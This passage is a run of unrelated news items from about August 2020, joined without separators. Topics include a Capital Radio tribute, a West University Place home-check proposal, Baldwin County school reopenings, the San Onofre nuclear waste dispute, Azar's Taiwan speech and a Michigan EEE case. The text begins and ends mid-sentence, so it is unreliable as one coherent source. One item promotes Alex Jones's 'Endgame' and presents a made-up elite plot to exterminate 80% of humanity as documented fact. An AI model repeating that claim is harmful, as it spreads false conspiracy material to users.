obsessed with his daily step count. He never ironed his clothes. He loved his family so much - his dad Ivan, his mum Celia, his sister Lou. He loved his friends. But the thing that he loved most of all was doing this show, and he loved you, listening right now, he loved making you happy. Fans and famous faces shared their support for Kemp and everyone at Capital Radio. Greg James tweeted: "This is unbearably sad news. Im so sorry to hear this. Incredibly brave to go on air and do such an amazing tribute. Please look after yourselves. Sending all my love x." West University Place voted to continue studying a proposal that would alert residents, particularly seniors, to issues with their homes during longterm absences by providing access to city officials. The proposal, called HomeSecure, would involve a city employee checking on a residence to make sure there are no animals trapped inside or any urgent matters needing attention. Council ended up voting 3-2 for the city to look into the concept further during a board meeting on Aug. 10. Related: Memorial Park begins construction on 25-acre land bridge The concept originated after a June 22 Boards and Commission meeting where Councilmember Lauri Lankford made the suggestion. After a brief discussion, Mayor Bob Higley asked Lankford to partner with Councilmember John Barns, the council liaison for the Seniors Board, and prepare a proposal. I received a complaint about baby birds being trapped and dying in the window of a vacant house, said Lankford at the Aug. 10 council meeting. So I thought about starting a notification program to aid residents in keeping watch on the outside of the properties in the event they are away from their homes for extended periods of time. Particularly due to medical issues. One of West Universitys commitments is the facilitation of aging-in-place for its residents, the council said. Many West University residents are sometimes suddenly absent for extended periods while receiving medical care or treatment, and the length of these absences are often not known in advance. According to the concept proposal, as a result of these absences, a home may be left vacant but not abandoned, and may be allowed to fall into considerable disrepair, including, but not limited to, the intrusion of wildlife into the interior of the home and other unsafe conditions. Often, West U homeowners have the means to make any necessary repairs but may be unaware of the need to do so in their absence. There is currently a House Watch service provided by the West University Police Department, but it requires the homeowner give advance notice of the period of their absence and renewal every 30 days. It also does not provide a right of access to the rear of the property. The concept was proposed on West Us July 13 council meeting, but, according to Lankford, it, gave the wrong impression, that they were recommending the implementation of a specific program. Instead, the proposal, sets up what to consider if West University decided to implement a voluntary notification system for vacant homes. In short, the proposal council voted on at the Aug. 10 meeting was only a vote to see if the city would consider the implementation of the concept, rather than take any immediate action. But Councilmembers Kevin Trautner and Ed Sobash were opposed to the concept. I feel like this should really be something that is handled privately and by homeowners, said Trautner. I just dont think its the governments role to handle this kind of private matter. While I support the aging-in-place that the city does and all the great services we offer, said Sobash, this seems like a private matter, better handled through either a friend, neighbor, or a service hired, rather than the city providing the service. Barns reminded council that there are residents who do not know their neighbors or have the resources to hire a house sitter. And although the city will not be responsible for the financial upkeep of residences, they do have the responsibility to maintain the city as well as it can be. I worry that this is a slippery slope into opening up Pandoras Box in terms of extensive services by the city that really should be done by a volunteer group, neighbors, students, said Trautner. ryan.nickerson@hcnonline.com Food prices will rise for consumers and profits will fall for farmers unless an urgent fix is found for the coronavirus-driven worker shortage, the farm lobby says, as it warns union demands to source local labour will lead to food rotting in the field. Tyson Cattle, spokesman for the fruit and vegetable industry lobby group AusVeg, said the horticulture's industry reliance on migrant labour was not a preference, but because "Australians had proven that they do not want to work in the sector". AusVeg chairman and leafy green grower Bill Bulmer said paying higher wages would drive up the cost of food but not solve the labour shortage. "The claims from the unions today are absurd," Mr Cattle said. "Growers would love to employ locals, and all farms do, but they simply can't secure the numbers of workers they need, at many different skill levels, without access to international workers, including backpackers." Australian Workers Union national secretary Daniel Walton, whose union is part of a coalition calling for an end to foreign backpacker labour in favour of local workers or immigrants from the Pacific, said he did not believe farmers' claims they could not find enough fruit pickers here. We may be the most important city in the most important country in the world, but we still get excited at seeing ourselves on the big screen. Watch D.C. Cab and youll glimpse parts of the city that are still here a bucket band on the Mall; the Florida Avenue Grill; the Cardozo High marching band and things that arent. Baldwin County on Wednesday will become the largest school system in Alabama to allow students back into the classroom to open the 2020-2021 school year, including inside three new schools officially opened this week. But at the same time, a growing number of students are seeking virtual education as opposed to going back into the schools full-time as coronavirus numbers continue to rise. According to Superintendent Eddie Tyler, the opening of the schools is a daunting task, but he acknowledged the countys rapid growth as the rationale for continued additions of new brick and mortar structures. Its a chore to get this done in the middle of COVID-19, said Tyler, following the official opening of a new $30.7 million high school and middle school building in Orange Beach on Monday. I dont think anyone saw this coming or predicted how this would have grown back in January, February and in the beginning of March when we shut schools down across the state. He added, I wont say its frustrating. We know we were constructing schools for growth and I understand neighborhoods continue to open across the county. Indeed, Baldwin County remains Alabamas fastest growing by far since the 2010 U.S. Census, adding over 35,000 residents (the equivalent of the population of Phenix City in southeast Alabama) and experiencing a growth rate of around 20% during the past decade. The new schools opened included the 130,000-square-foot high school and middle school in Orange Beach, an approximately $21.3 million Belforest Elementary School east of Daphne, and an approximately $21.1 million elementary school in Foley. Even with the new buildings, the school system is experiencing a rise in students who want to attend the countys virtual school that began in 2013-14 and enrolled 346 students late last year. At the start of this school year, virtual school registration is up to 6,500 to 7,000 an astonishing 1,920% increase in less than a year -- as parents and students scour alternatives to traditional in-person education during the pandemic. Enrollment within the virtual schools represents over 20% of the overall student population for the Baldwin County School System. Last years overall enrollment was 31,000 students making it the third largest school system behind only Mobile County and Jefferson County public schools. In short, virtual schools in Alabama provide online-only education for students that allows them flexibility on when to take classes and complete assignments without always coming to an actual campus. But Baldwin Countys virtual school program includes a blended experience in which students take classes online, but also show up at times to a traditional setting at campuses such as one that opened in December in Daphne. Tyler said there will be about a half dozen satellite facilities around the county that will support students attending virtual schools. But some parents have expressed frustrations in recent days that new enrollments into virtual schools was stopped on July 31. We were bursting at the seams, said Tyler, who came under some criticism for halting virtual school enrollment late last month and at a time when other large school systems like Mobile and Jefferson counties were delaying the start of school and going online only. In an email Sunday to parents, Tyler said that the school system was reopening virtual school registration and that enrollment would continue until we reach capacity. He also said the county was creating a wait list in case registration fills back up again. Tyler, in his email to parents, said virtual school is very different than traditional school and requires a lot of self-directed work from your children, discipline and when necessary, mom and dads involvement to sit by them and make sure things are going well. SUPERINTENDENT UPDATE: 08.09.20 Good evening parents, I hope you have enjoyed this beautiful weekend. I've done my... Posted by Baldwin County Public Schools on Sunday, August 9, 2020 He said Monday he anticipates some students and parents will realize that virtual school is not really what they wanted or thought it would be in managing their child and will come back to brick and mortar. Tyler, in his email to parents, said he would enroll his own children without question into traditional school. He said any return to distance learning in which students are educated strictly online, would be decided by a combination of factors that include the following: Levels of contagion, growth in contagion, hospital capacity, mortality rates by age group and in general. The decision, he said would come from education and health officials as well as local and state leaders. Baldwin County, since July 1, has seen the number of confirmed coronavirus cases rise 432% from 686 cases to 3,651 as of Monday, according to the website Bama Tracker. The county added 107 new cases on Sunday. But the virus hasnt been as deadly in Baldwin County compared to the largest of Alabamas counties since the pandemic began in March, the county has had 25 deaths. Only Morgan County, among the 10th biggest in Alabama, has had fewer deaths related to COVID-19. All students in the second grade and above will be required to wear masks or a face covering when they return to school, according to the health order issued late last month by Alabama Gov. Kay Ivey. Tyler said he hopes parents help the school system out by making sure their children maintain social distancing and wear face coverings when they are not on campus. What disturbs me or confuses me is when the parents are concerned about their children coming back to brick and mortar, said Tyler. I understand that. But when I see pictures sent to me of parents and children in large groups without masks taking pictures but, yet when they walk the halls and we get some diagnoses and that (becomes) our fault. Well, as parents, you can help us prevent that in making sure your children, outside our walls, are taking precautions. Virtual school: Is the future of Alabama public education online? Who will make Alabama students wear masks and social distance? Parents staying home with children for virtual school may be eligible for paid leave A Travelodge hotel in Birmingham has undergone a through deep clean after a former guest warned them they had tested positive for Covid-19. The unidentified patient reported the positive Covid-19 result to the Travelodge Hotel in Maypole, Birmingham after their overnight stay last week. A specialist hygiene company has been tasked with deep cleaning the guest's room which will not be available until the task has been completed. A guest at the Travelodge hotel in Maypole, Birmingham, pictured, advised management that they have recently tested positive for Covid-19 prompting a deep clean of the room the person stayed in. The hotel chain confirmed no other staff or quests have shown any symptoms Once the room has been thoroughly cleaned, it will returned to service. A spokesperson from Travelodge told MailOnline: It has been reported to us that a guest staying at our Birmingham Maypole Hotel last week has subsequently tested positive for the Covid 19 virus. 'As a precaution, the room the guest stayed in was immediately taken offline. It will remain offline for a period of time before a specialist cleaning team is deployed. There have been no other reports of guests or staff feeling unwell. 'Travelodge takes the safety and security of its guests and team members extremely seriously. Since reopening, Travelodge has put in place a series of measures designed to keep its customers and teams safe. 'The Travelodge Protect+ programme has been developed by a dedicated hygiene strategy team and is in line with government guidance.' ATLANTIC CITY An emergency medical technician was recognized by police Tuesday morning for rescuing an unconscious driver from a burning car after a crash last month. Angela Nichols, who works at Exceptional Medical Transportation, was presented with a certificate of commendation by Deputy Chief Bridget Pierce, according to a post on the departments Facebook page. You disregarded your own safety and jumped into action, the certificate reads. Your quick thinking ultimately saved the driver from death or serious injury. You are to be commended for your dedication to duty and to the residents and visitors to the City of Atlantic City. Nichols was going to work July 2 when she saw the two-car crash in the 700 block of Dr. Martin Luther King Jr. Boulevard with one car engulfed in flames, police said. After unsuccessfully trying to break the cars window, she used a window punch to break the glass and get unconscious Maria Huichapan-Soto, 44, out of the car. Nichols then provided medical aid to the woman until additional medical personnel arrived, police said. Court hearings for 7 charged after Atlantic City protest moved to Pleasantville PLEASANTVILLE Court hearings for seven men arrested during a Fourth of July Black Lives Ma Both drivers were taken to AtlantiCare Regional Medical Center, City Campus, with serious but non-life threatening injuries. Huichapan-Soto was charged with assault by auto, driving while intoxicated and several motor vehicle offenses before she was released on a summons with a future court date. Be the first to know Get local news delivered to your inbox! Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Seoul, Aug 11 : Several South Korean conservative civic groups critical of President Moon Jae-in's government have planned massive rallies in Seoul on Saturday, putting police and health officials on alert over the possible spread of COVID-19. Saturday marks the annual Liberation Day, a national holiday to celebrate the end of Japan's 36-year colonial rule on the Korean Peninsula in 1945, reports Yonhap News Agency. According to police, two conservative civic groups -- one led by pastor Jeon Gwang-hoon and another named "Freedom Union" -- are planning to organize a joint rally between the Gwanghwamun square and Gyeongbok Palace. In other parts of central and southern Seoul, including near the Bank of Korea building and the Seoul Central District Prosecutors Office in southern Seoul, various other civic groups are planning to organize rallies on Saturday. Overall, seven civic groups have so far reported plans to hold rallies in Seoul on the day with the estimated participation of 42,000 people. The announcement comes despite the Seoul metropolitan government banninf gatherings in public squares in the city center in February as part of its anti-coronavirus measures but has imposed few restrictions on rallies held elsewhere. [August 11, 2020] Vocal IP Announces Latest Next-Generation SD-WAN for Enterprise Markets NEW YORK, Aug. 11, 2020 /PRNewswire/ -- Vocal IP, a leading provider of next-generation networking solutions, today announced that Vocal IP is deploying the latest generation of SD-WAN for enterprise and business customer solutions nationwide. Vocal IP, one of the fastest-growing, network-based providers of carrier-grade data and voice services, has been offering fully customized managed enterprise solutions to businesses for the last 15 years. As such, they are often asked to deploy the latest technology with proactive network management and around-the-clock technical support. SD-WAN is a new and revolutionary network technology that enables business and enterprise customers to create secure and reliable private data and voice networks over any type of broadband connection. Vocal IP's SD-WAN works by moving network management, security, administration and functionality to the cloud. Each site's SD-WAN router/firewall actively monitors and manages traffic and applications. SD-WAN provides real-time responses to both hard failures and degraded performance at all times. Vocal IP's SD-WAN solution is quick to deploy and can be cost-effective for the smallest locations as well as for the largest corporate locations. SD-WAN allows all available bandwidth to be aggregated and provides a dynamic connection to the cloud or to other locations. SD-WAN allows end-to-end WAN management, QoS and priority setting at the application and user level. SD-WAN also provides an easy-to-use management portal for users to view, manage and control their networks. Vocal IP's SD-WAN service is ofered with six different network speed/throughput options, 50 Mbps, 100 Mbps, 250 Mbps, 500 Mbps, 1 Gbps and 2 Gbps. In addition, the service is available as SD-WAN only or combined with firewall and Unified Threat Management (UTM) functionality. "It is becoming critical for our customers to implement a quick-to-deploy and cost-effective wide area network solution that can adapt to the changing environment," said Eugene Laykhtman, CEO of Vocal IP. "The advantages of our new SD-WAN solution are unparalleled. Vocal IP is able to help businesses to implement a completely secure and reliable next-generation SD-WAN to help them improve their businesses." About Vocal IP Vocal IP, headquartered in New York City, is a nationwide provider of Data, Voice, Unified Communications (UCaaS) and Managed Video Surveillance services backed by our wholly owned next-generation network. We are a privately owned, financially stable company and experienced steady organic growth over the years. Vocal IP's services are backed by a reliable data and voice network with multi-access transport methods, highly experienced and certified engineering staff, efficient and responsive installation services and 24/7/365 technical support from our Network Operations Center (NOC). Vocal IP combines the strength of a best-in-breed, large-scale, national network of a major carrier with the service, expertise and customer focus of the most committed and knowledgeable IT consulting firm. For more information on Vocal IP and its product offerings, please contact: Eugene Kurochkin Email: [email protected] Phone: (646) 485-2553 Related Files Vocal IP SD-WAN Press Release draft1 8-3-2020.docx Related Images vocal-ip-logo.png Vocal IP Logo Vocal IP Logo View original content to download multimedia:http://www.prnewswire.com/news-releases/vocal-ip-announces-latest-next-generation-sd-wan-for-enterprise-markets-301109795.html SOURCE Vocal IP [ Back To TMCnet.com's Homepage ] Press Release August 11, 2020 Bong Go urges government, telcos to provide reliable internet connectivity to aid transition to E-Governance, flexible learning and online business transactions Senator Christopher "Bong" Go is calling on government and the private sector, particularly telecommunications companies, to work together to provide reliable internet connectivity so that Filipinos can easily transition to online modes of transactions. The Senator reiterated the importance of fast and reliable internet in order to avoid face-to-face transactions while there is an ongoing COVID-19 pandemic. He enumerated examples such as the transition of government to E-governance, students adapting to flexible or blended learning, and the public conducting online business transactions. "Ito na po ang 'new normal'. Necessity na po ang fast and reliable internet. Huwag dapat magpahuli ang Pilipinas dahil importante ito para sa development ng mga Pilipino," he said. "Kahit ako nga nahihirapan sa internet connection. 'Yung mga Senate sessions, hearings at meetings ngayon ay virtual na bilang pagsunod sa social distancing measures. Apektado ang trabaho kapag mabagal at hindi reliable ang ating internet connection," he explained. Go lauded the Anti-Red Tape Authority's latest directive which will seek to accelerate the rollout of telecommunication infrastructure and service projects in the Philippines. The Joint Memorandum Circular, currently being drafted by a joint task force composed of ARTA, the Department of the Interior and Local Government, and Department of Information and Communications Technology, aims to fast-track the construction of telecom towers. By providing wider and more reliable access to the Internet, Go believes educational institutions will have more flexibility to implement a blended learning approach which integrates both online and offline modes of learning for students in any part of the country. "Siguraduhin natin na lahat ng mga estudyante ay mabibigyan ng pantay na oportunidad sa ilalim ng ating learning continuity plan in all levels of education," he stressed. The Department of Education and the Commission on Higher Education maintain there will be no regular face-to-face classes when the school year resumes on August 24. Instead, all educational institutions shall resume remotely through online platforms, learning management systems and take-home packets, among others. "Kahit ayaw nating maantala ang klase nila, importanteng safe sila. 'Yan ang unang consideration natin, ang kalusugan ng ating mga anak. For me, no vaccine, no physical classes or face-to-face learning," said Go, who also serves as chair of the Senate Committee on Health and Demography. Go also acknowledged the ongoing crisis has laid bare the need to digitize other transactions that used to be handled in person. The Senator, who has been pushing for the transition to e-government platforms, expressed his support for the President's call to improve the accessibility, efficiency and transparency of all government services through E-governance. "I reiterate my call for all government instrumentalities to implement systems that shall make physical queuing a thing of the past," said the President during his fifth State of the Nation Address delivered last July 27. "We need e-governance [to provide] our people with the services they need [from] the comfort of their homes or workplaces. It will enable our bureaucracy to better transition into in the 'new normal' and cut or minimize red tape," he also said. Go filed Senate Bill No. 1738 or the E-Governance Act of 2020 which mandates the establishment of an integrated, interconnected and interoperable internal government network. This network will allow all branches, agencies, instrumentalities and offices of the national and local governments, including government-owned and controlled corporations, to share and communicate resources, information and data. "In an age where almost everything can be done online and through other digital platforms, the government must harness the power of information and communications technology to better serve its purpose and bring the government closer to the people," said Go. The proposed measure will likewise create online public service portals, an internal records management system, an email and communications network for internal and intra-government communications, and a national directory of information on Philippine citizens, among others. "We need to evolve-- businesses are already transitioning to e-commerce and online transactions. Our education system is also championing blended learning. It is important for the government as a whole to expedite its transition as well," Go further explained. There is virtually no scenario in which 3.6 million pounds of radioactive waste could pose a public-safety or economic threat to people who live miles away from the shuttered San Onofre nuclear plant, utility officials and federal regulators said Wednesday. The bottom line is that no credible accident mechanism exists for radioactive material to leave the San Onofre site, given how much the spent fuel has cooled off since the reactors were shut down for the last time, said Scott Burnell of the U.S. Nuclear Regulatory Commission. This means there is no basis for examining potential economic effects of an accident beyond the site boundary, never mind out to 10 or 50 miles. Burnell and officials from majority power plant owner Southern California Edison were responding to a pair of reports Tuesday by the Samuel Lawrence Foundation. One said a worst-case accident could cripple transportation, close ports and cost the regional economy more than $13 trillion. The other questioned the process Edison is using to transfer nuclear waste into steel-lined canisters along the San Onofre shoreline, north of Oceanside. Advertisement Critics of the studies said its authors made key mistakes in their assumptions about the San Onofre Nuclear Generating Station or SONGS, which closed in 2012 amid a radiation leak. Edison is in the process of transferring millions of pounds of spent nuclear fuel from cooling pools to so-called dry storage at the site. The plan calls for dozens of steel-lined concrete casks to be filled with the used fuel assemblies and buried in a special storage facility on the San Onofre beach. The transfer was halted temporarily after a near-miss accident in August that resulted in a notice of violation issued by federal regulators. Edison and the nuclear commission said the foundation researchers improperly compared the possibility of an accident at the closed nuclear plant to a similar event at a plant that is still producing electricity. The statements provided to Southern California Edison lack scientific or engineering basis and the subject matter has been discussed many times by the Community Engagement Panel, said Edison spokesman John Dobken in an email, referring to a utility-funded volunteer group that is monitoring the San Onofre decommissioning program. The public should know the spent nuclear fuel canisters at SONGS are thicker than any other stainless steel spent fuel canisters in the United States. SCE chose to proactively make them 25 percent thicker and they exceed all regulatory requirements. Scientists behind the foundation reports stood by their findings Wednesday. They said the waste-transfer program already has proved problematic, citing the notice of violation the Nuclear Regulatory Commission issued against Edison after one of its 50-ton canisters was wedged inside a storage cavity 18 feet from the bottom for nearly an hour. These canisters are certified for drops of 11 inches, said Subrata Chakraborty, a University of California San Diego biochemistry professor and co-author of one of the foundation studies. For a canister to drop 18 feet thats a huge force to crack open, and if the the canister breaks, its definitely going to have some effect, and I believe that would be serious. Another co-author said its not clear what would happen if a canister is exposed -- by being dropped, degraded by saltwater intrusion or gouges caused in the transfer process. There are really major questions about the stability of the spent fuel in these situations, said Tom English, a retired nuclear waste expert from Carlsbad. Its not a clear-cut case at all. I wish it were. Thats why it should be aired out in public, with public discussion and not such hearsay. James Conca is a retired nuclear-waste expert based in Richland, Wash. He said the spent fuel from San Onofre already is much less dangerous than it was when the plant shut down because it has been cooling for seven years. He also said if a canister fails, it would simply be replaced. Any health or environmental damage would be limited to the immediate area -- not spread to urban neighborhoods away from Camp Pendleton, which leased the San Onofre property to Edison. This debate has been going on for decades and decades, and weve never had a problem with spent fuel, Conca said. A lot of people want to be afraid of nuclear; they want some evil to have to worry about, but theres never been any risk. Donna Gilmore, who runs a group called San Onofre Safety, said the canisters Edison selected for the spent fuel already have proved unsafe -- along with the fuel-transfer process that resulted in the violations issued to Edison. Some parts of the spent-fuel assemblies stored inside the canisters -- cesium, plutonium and strontium -- will remain dangerous for hundreds or thousands of years, Gilmore said. You have roughly a Chernobyl disasters worth of cesium in one can, she said. It will travel wherever the winds blow in case of an accident or explosion. Dobken, the Edison spokesman, said there is no chance of an accident on the magnitude of the 1980s nuclear disaster in the former Soviet Union. Exposing spent fuel to air will not result in an explosion, he said. For example, spent fuel is handled in air at DOE facilities (hot cells), and is a proposed method for repackaging fuel for disposal at Yucca Mountain. David Victor, another UCSD professor who serves as chairman of the Community Engagement Panel for San Onofre, said the foundation researchers do not know enough about the project and processes to produce an authoritative report. The team is way out of their depth, he said. They have done an economic study that is based on an assumption that is fallacious. Its really important that we study worst-case scenarios and that we prepare for the worst, but that goal is not served by people whose research is not grounded in reality. The Samuel Lawrence Foundation is a Del Mar nonprofit whose mission is to promote science, arts, medicine and education. President and co-founder Bart Ziegler has been a longtime critic of Edisons management of the San Onofre nuclear plant. jeff.mcdonald@sduniontribune.com (619) 293-1708 @sdutMcDonald Film fans missing the big screen can now rent out an entire theater to themselves or bring friends and family. For $150, Alamo Drafthouse allows customers to reserve a theater and invite up to 30 people. Each attendee purchases their own ticket and chooses a seat. The reservation requires the group to spend an additional $150 on food. READ ALSO: 2 new flyover ramps on Loop 1604 and U.S. 281 set to open this weekend Guests can choose between 44 different movies, ranging from classics like Casablanca to family-friendly fare such as Shrek. For now, the only Texas theater offering the "Your Own Private Alamo" experience is the Slaughter Lane location in Austin. On its website, Alamo Drafthouse says that while masks are required in public areas, "because these screenings are popular with families and small groups of close friends, unless a local or state mandate is in effect, mask-wearing inside the theater is up to you." Texas regulations require people at movie theaters to wear masks whenever it is not feasible to maintain 6 feet of social distancing from another person not in the same household. Theaters are allowed to operate at 50 percent capacity for each screening. Here are the available movies for Alamo Drafthouse's private theater option: ABOMINABLE DESPICABLE ME DESPICABLE ME 3 DOLITTLE DR. SEUSS THE GRINCH (2018) ET HOW TO TRAIN YOUR DRAGON KUNG FU PANDA MINIONS SECRET LIFE OF PETS SHREK SING SPIRIT: STALLION OF CIMARRON THE HOUSE WITH A CLOCK IN ITS WALLS THE IRON GIANT THE LEGO BATMAN MOVIE THE MUPPET MOVIE TROLLS 1941 ALWAYS CASABLANCA DUEL PRINCE OF DARKNESS SIXTEEN CANDLES THE GOONIES THE LOST WORLD: JURASSIC PARK THE SUGARLAND EXPRESS UNCLE BUCK VILLAGE OF THE DAMNED (1995) WEIRD SCIENCE A NIGHTMARE ON ELM STREET AQUAMAN BATMAN (1989) BREAKFAST CLUB GREMLINS JAWS JURASSIC PARK MAD MAX: FURY ROAD SUPERMAN (1978) THE LOST BOYS THE MATRIX THE THING (1982) THEY LIVE WONDER WOMAN US Health and Human Services Secretary Alex Azar delivers a speech at the public health college of the National Taiwan University (NTU) in Taipei on Aug. 11, 2020. (Pei Chen/POOL/AFP via Getty Images) Health Secretary Azar Criticizes Beijing Over Mishandling of Pandemic During Taiwan Speech TAIPEI, TaiwanU.S. Health and Human Services (HHS) Secretary Alex Azar delivered harsh criticism of the Chinese Communist Party (CCP) over its mishandling of the coronavirus outbreak, in a speech given at a local university on Aug. 11. Azar pointed out the sharp contrast between democratic Taiwan and communist China over their handling of the outbreak caused by the CCP virus, commonly known as the novel coronavirus. Taiwans approach to combating the virus through openness, transparency, and cooperation stands in stark contrast to the country where the virus began, Azar said, in a speech at Taiwans prestigious National Taiwan University. The virus originated from the central Chinese city of Wuhan in late 2019. He added: The Chinese Communist Party had the chance to warn the world and work with the world on battling the virus. But they chose not to, and the costs of that choice mount higher every day. Azar pointed to the example of Chinese authorities muzzling Chinese doctors who spoke out about the outbreak. In late December, eight doctors, among them ophthalmologist Li Wenliang, posted on Chinese social media about a new form of pneumonia that was spreading in Wuhan. Li was later summoned to a police station and forced to sign a confession statement, saying he wont commit any further unlawful acts. Li passed away in February after unknowingly contracting the virus from an infected patient. Azar also mentioned that Robert Redfield, director of the U.S. Centers for Disease Control and Prevention, offered U.S. assistance to his Chinese counterpart in January. However, it was not until mid-February that Beijing agreed to let a group of experts from the World Health Organization (WHO) travel to China to investigate the outbreak. Beijing also knew of the viruss potential to spread among humans, but did not publicly acknowledge it until Jan. 20. One day later, both Taiwan and the United States reported their first confirmed COVID-19 cases. According to Taiwan officials, the island state warned the WHO that the virus could be contagious in an email on Dec. 31. Beijings initial coverup also involved Chinese authorities ordering a genomics company to destroy samples of the virus in early January. Azar criticized Beijing for not being forthright. [W]hen it comes to health, the expectations of the world community are quite common sense: You cant get anywhere without transparency. He added that efforts to combat and contain viruses would not be possible when countries arent willing to share information with each other. I believe it is no exaggeration to say that, if this virus had emerged in a place like Taiwan or the United States, it might have been snuffed out easily: rapidly reported to public health authorities, who would have shared what they knew with health professionals and with the general public, Azar said. Azar also took exception to Beijings political bullying of Taiwan, highlighting how it was illogical and counterproductive to have Taiwan excluded from taking part in the WHO. From 2009 to 2016, Taiwans health ministers took part in the World Health Assembly (WHA), the decision-making body of the WHO, as observers. But since 2017, Taiwan has been barred at Chinas request from taking part in the assembly and from all WHO meetings. Beijing considers Taiwan part of its territory, despite the island having its own democratically elected government, military, and currency. The Chinese regime has sought to bolster its claim by diminishing Taiwans status as a sovereign state, such as by barring it from participating in international organizations and events. Sadly, for political reasons, some dont want Taiwan to helpeven when it costs lives, Azar said, adding that the influence of the PRC [Peoples Republic of China] far outweighs its investment in this public health institutionand it uses influence not to advance public health objectives, but its own narrow political interests. He applauded Taiwans COVID-19 contact tracing as setting the standard for the world. As of Aug. 10, Taiwan, with a population of about 24 million, has 480 confirmed COVID-19 cases and seven deaths, despite its close proximity to mainland China. Taiwan is a democratic success story, a reliable partner, and a force for good in the world, Azar said. He also applauded Taiwans allies-ambassadors from the Marshall Islands, Nauru, Palau, and Tuvalu, who were among those in the audience at NTUfor their willingness to speak up for Taiwan in international fora. Azar is the highest-level U.S. cabinet official to visit the island since 1979the year the United States severed official diplomatic ties with the island in recognition of Beijing. Since arriving in Taiwan on Sunday afternoon, Azar has met with top officials in Taiwan government, including President Tsai Ing-wen, Vice President William Lai, former Vice President Chen Chien-jen, and Health Minister Cheng Shih-chung. On Monday, Azar oversaw the signing of a landmark agreement on health cooperation between the United States and Taiwan. Several U.S. lawmakers have applauded Azars visit to Taiwan, including Sen. Marco Rubio (R-Fla.). Two democracies meeting in each others respective capitals should be the norm, Rubio stated in an Aug. 10 press release from his office. Rubio concluded: I look forward to more high-level engagement with Taiwan to strengthen the relationship for years to come. For the New World Order, a world government is just the beginning. Once in place they can engage their plan to exterminate 80% of the world's population, while enabling the "elites" to live forever with the aid of advanced technology. For the first time, crusading filmmaker ALEX JONES reveals their secret plan for humanity's extermination: Operation ENDGAME. Jones chronicles the history of the global elite's bloody rise to power and reveals how they have funded dictators and financed the bloodiest warscreating order out of chaos to pave the way for the first true world empire. Watch as Jones and his team track the elusive Bilderberg Group to Ottawa and Istanbul to document their secret summits, allowing you to witness global kingpins setting the world's agenda and instigating World War III. to Ottawa and Istanbul to document their secret summits, allowing you to witness global kingpins setting the world's agenda and instigating World War III. Learn about the formation of the North America transportation control grid, which will end U.S. sovereignty forever. Discover how the practitioners of the pseudo-science eugenics have taken control of governments worldwide as a means to carry out depopulation. View the progress of the coming collapse of the United States and the formation of the North American Union. Never before has a documentary assembled all the pieces of the globalists' dark agenda. Endgame's compelling look at past atrocities committed by those attempting to steer the future delivers information that the controlling media has meticulously censored for over 60 years. It fully reveals the elite's program to dominate the earth and carry out the wicked plan in all of human history. Endgame is not conspiracy theory, it is documented fact in the elite's own words. Authorities have released the name of a man found shot to death inside a vehicle on a Birmingham interstate early Monday. The Jefferson County Coroners Office and Birmingham police on Tuesday identified the victim as Condorius Sanchez Williams. He was 30 and lived in Adamsville. Birminghams 911 Center received a report of a wreck on Interstate 65 northbound at the 16th Street exit about 12:50 a.m., said Sgt. Rod Mauldin. When officers and Birmingham Fire and Rescue Service arrived at the location, they found a vehicle off the roadway. Williams was unresponsive and suffering from a gunshot wound. He was pronounced dead on the scene at 1:50 a.m. Mauldin said it appears he may have been specifically targeted but did not elaborate. He is the citys 75th homicide victim so far this year. Of those, nine have been ruled justifiable and once accidental and therefore are not deemed criminal. In all of Jefferson County there have been 106 homicides in 2020 including the 75 in Birmingham. Mauldin asked that anyone driving on I-65 in that area near the time of the shooting, or anyone with information about the crime, call Birmingham police at 205-254-1764 or Crime Stoppers at 205-254-7777. LANSING, MI A virus that afflicts horses and can spread to humans and prove fatal has been detected in a horse in Clare County, located in the northern Lower Peninsula. The Michigan Department of Agriculture and Rural Development on Tuesday, Aug. 11, announced that state veterinarian Dr. Nora Wineland confirmed 2020s first case of Eastern Equine Encephalitis (EEE) in a 2-year-old filly from Clare County. Both horse owners and Michigan residents are urged to take precautions. EEE is a viral disease transmitted by mosquitoes to both animals and people, MDARD states. EEE is one of the most dangerous mosquito-borne diseases in the U.S., with a 90-percent fatality rate among horses that become ill and a 33-percent fatality rate among humans who become ill, MDARD stated. In 2019, Michigan saw 50 EEE cases in animals and a record of 10 in humans, including 6 human fatalities. The virus is typically seen in late summer to early fall each year in Michigan. People can be infected with EEE from the bite of a mosquito carrying the virus, but it is not spread by horse-to-horse or horse-to-human contact. In humans, signs of EEE include the sudden onset of fever, chills, and body and joint aches. EEE infection can develop into severe encephalitis, resulting in headache, disorientation, tremors, seizures, and paralysis. Permanent brain damage, coma, and death may also occur in some cases. In 2019, Michigan experienced the worst outbreak of EEE ever documented in the state, with 10 human cases including 6 deaths and 50 cases in animals from 20 counties, said Dr. Joneigh Khaldun, chief medical executive and chief deputy director for health for the Michigan Department of Health and Human Services. Michiganders are strongly urged to take precautions to protect themselves from mosquito bites. It only takes one bite from a mosquito to transmit the virus, which can lead to severe neurologic illness, permanent disability, and sometimes death. The horse in Clare County had not been vaccinated against EEE. It developed symptoms of the illness, such as walking in circles, leaning to the right, and pressing its head against objects. The illness progressed to the point where the horse lay down and could not get back up, Wineland said. Horse owners in Michigan should take extra measures to protect their animals, she added. To protect your animals, measures could include the following: Talking to a veterinarian about vaccinating horses against EEE. Placing horses in a barn under fans (as mosquitoes are not strong flyers) during peak mosquito activity from dusk to dawn. Using an insect repellent on the animals that is approved for the species. Eliminating standing water on the propertyi.e., fill in puddles, repair eaves, and change the water in buckets and bowls at least once a day. Contacting a veterinarian if a horse shows signs of the illness: mild fever and stumbling, which can progress to being down and struggling to stand. To protect yourself and your family, here is what MDARD states you should do now: Apply insect repellents that contain the active ingredient DEET, or other U.S. Environmental Protection Agency-approved products to exposed skin or clothing, and always follow the manufacturers directions for use. Wear long-sleeved shirts and long pants when outdoors. Apply insect repellent to clothing to help prevent bites. Maintain window and door screening to help keep mosquitoes outside. Empty water from mosquito breeding sites around the home, such as buckets, unused childrens pools, old tires or similar sites where mosquitoes may lay eggs. Use nets and/or fans over outdoor eating areas. Overall, mosquito-borne illnesses, like EEE, will continue to pose a risk to both animals and humans until late fall when nighttime temperatures consistently fall below freezing. For more information about mosquito-borne diseases, visit Michigan.gov/emergingdiseases. Read more: Michigan teen fighting deadly EEE virus beating the odds Jackson County health officials urge residents to take precautions against mosquito-borne illnesses Mosquito trapping starts in Kalamazoo County for EEE, zika surveillance Staff at Liverpool Hospital have had to go into quarantine after two workers tested positive for coronavirus. An internal email sent to workers at the hospital in Sydney's west on Tuesday said the staff members tested positive for COVID-19 in the past 24-hours. The confidential email was obtained by 2GB and said 